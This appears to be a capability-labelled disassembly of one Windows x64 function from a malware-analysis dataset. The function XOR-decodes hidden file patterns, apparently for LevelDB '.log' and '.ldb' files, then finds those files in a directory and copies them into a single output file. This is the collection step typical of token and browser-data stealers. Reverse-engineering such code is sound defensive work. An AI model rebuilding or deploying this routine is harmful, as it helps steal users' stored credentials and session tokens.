Function at 0x6ff93240
Capabilities:
Encode data using xor
Enumerate files on windows
Read file on windows
Write file on windows

Disassembly:
push r15
mov eax, 0x13c8
push r14
push r13
push r12
push rbp
push rdi
push rsi
push rbx
call fcn.6ff82780
sub rsp, rax
mov rbx, rcx
movabs rax, 0x1417555127085e7b
mov byte [rsp + 0x3c9], 0
mov byte [rsp + 0x3c8], 0x1c
mov qword [rsp + 0x3c0], rax
lea rax, [rsp + 0x3c0]
mov qword [rsp + 0x1418], rdx
mov rsi, rax
lea rdx, [rsp + 0x3c8]
xor byte [rax + 1], 0x7b
inc rax
cmp rax, rdx
jne 0x6ff93299
lea r15, [rsp + 0x78]
lea rdx, [rsp + 0x3c1]
mov r8, rbx
mov byte [rsp + 0x3c9], 0
mov rcx, r15
call sym.main.exe_sprintf_char__char_const__::_
lea rax, [rsp + 0x280]
mov rdi, qword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov rcx, r15
mov qword [rsp + 0x48], rax
mov rdx, rax
call rdi
mov r13, rax
cmp rax, 0xffffffffffffffff
je 0x6ff9345a
mov rbp, qword [sym.imp.KERNEL32.dll_CreateFileA]
mov byte [rsp + 0x74], 0
lea rax, [rsp + 0x6e]
lea rdx, [rsp + 0x73]
mov dword [rsp + 0x6e], 0x103f694c
mov word [rsp + 0x72], 0x3f69
xor byte [rax + 1], 0x4c
inc rax
cmp rax, rdx
jne 0x6ff93313
lea r12, [rsp + 0x17c]
lea rdx, [rsp + 0x6f]
mov r8, rbx
mov byte [rsp + 0x74], 0
lea r9, [rsp + 0x2ac]
mov rcx, r12
call sym.main.exe_sprintf_char__char_const__::_
xor r9d, r9d
mov edx, 0x80000000
mov rcx, r12
mov qword [rsp + 0x30], 0
mov r8d, 1
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
call rbp
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x6ff9343b
mov qword [rsp + 0x30], 0
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rsp + 0x1418]
mov dword [rsp + 0x28], pe_nt_image_headers64
mov edx, 0x40000000
mov dword [rsp + 0x20], 4
call rbp
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x6ff93432
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea rax, [rsp + 0x64]
mov qword [rsp + 0x50], rax
mov rax, qword [sym.imp.KERNEL32.dll_ReadFile]
mov qword [rsp + 0x58], rax
mov r9, qword [rsp + 0x50]
mov rax, qword [rsp + 0x58]
mov rdx, rsi
mov rcx, r14
mov qword [rsp + 0x20], 0
mov r8d, 0x1000
call rax
test eax, eax
je 0x6ff93429
mov r8d, dword [rsp + 0x64]
test r8d, r8d
je 0x6ff93429
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x68]
mov rdx, rsi
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x6ff933de
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rsp + 0x48]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x6ff932f5
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindClose]
movabs rax, 0x6b632125537c2a0f
mov byte [rsp + 0x77], 0
lea rdx, [rsp + 0x76]
mov qword [rsp + 0x6e], rax
lea rax, [rsp + 0x6e]
mov byte [rsp + 0x76], 0x6d
mov qword [rsp + 0x58], rax
xor byte [rax + 1], 0xf
inc rax
cmp rdx, rax
jne 0x6ff93482
lea rbp, [rsp + 0x6f]
mov r8, rbx
mov rcx, r15
mov byte [rsp + 0x77], 0
mov rdx, rbp
call sym.main.exe_sprintf_char__char_const__::_
mov rdx, qword [rsp + 0x48]
mov rcx, r15
call rdi
mov r13, rax
cmp rax, 0xffffffffffffffff
je 0x6ff93620
mov rdi, qword [sym.imp.KERNEL32.dll_CreateFileA]
mov byte [rsp + 0x74], 0
mov rax, qword [rsp + 0x58]
lea rdx, [rsp + 0x73]
mov dword [rsp + 0x6e], 0x49663015
mov word [rsp + 0x72], 0x6630
xor byte [rax + 1], 0x15
inc rax
cmp rax, rdx
jne 0x6ff934e2
lea r12, [rsp + 0x17c]
mov r8, rbx
mov rdx, rbp
mov byte [rsp + 0x74], 0
lea r9, [rsp + 0x2ac]
mov rcx, r12
call sym.main.exe_sprintf_char__char_const__::_
xor r9d, r9d
mov edx, 0x80000000
mov rcx, r12
mov qword [rsp + 0x30], 0
mov r8d, 1
mov dword [rsp + 0x28], pe_nt_image_headers64
mov dword [rsp + 0x20], 3
call rdi
mov r14, rax
cmp rax, 0xffffffffffffffff
je 0x6ff93601
mov qword [rsp + 0x30], 0
xor r9d, r9d
xor r8d, r8d
mov rcx, qword [rsp + 0x1418]
mov dword [rsp + 0x28], pe_nt_image_headers64
mov edx, 0x40000000
mov dword [rsp + 0x20], 4
call rdi
mov r12, rax
cmp rax, 0xffffffffffffffff
je 0x6ff935f8
mov r9d, 2
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea rax, [rsp + 0x64]
mov r15, qword [sym.imp.KERNEL32.dll_ReadFile]
mov qword [rsp + 0x50], rax
mov qword [rsp + 0x20], 0
mov r9, qword [rsp + 0x50]
mov rdx, rsi
mov rcx, r14
mov r8d, 0x1000
call r15
test eax, eax
je 0x6ff935d1
mov r8d, dword [rsp + 0x64]
test r8d, r8d
jne 0x6ff935dc
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x6ff935f8
mov qword [rsp + 0x20], 0
lea r9, [rsp + 0x68]
mov rdx, rsi
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_WriteFile]
jmp 0x6ff935a6
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rdx, qword [rsp + 0x48]
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x6ff934c4
mov rcx, r13
call qword [sym.imp.KERNEL32.dll_FindClose]
add rsp, 0x13c8
pop rbx
pop rsi
pop rdi
pop rbp
pop r12
pop r13
pop r14
pop r15
ret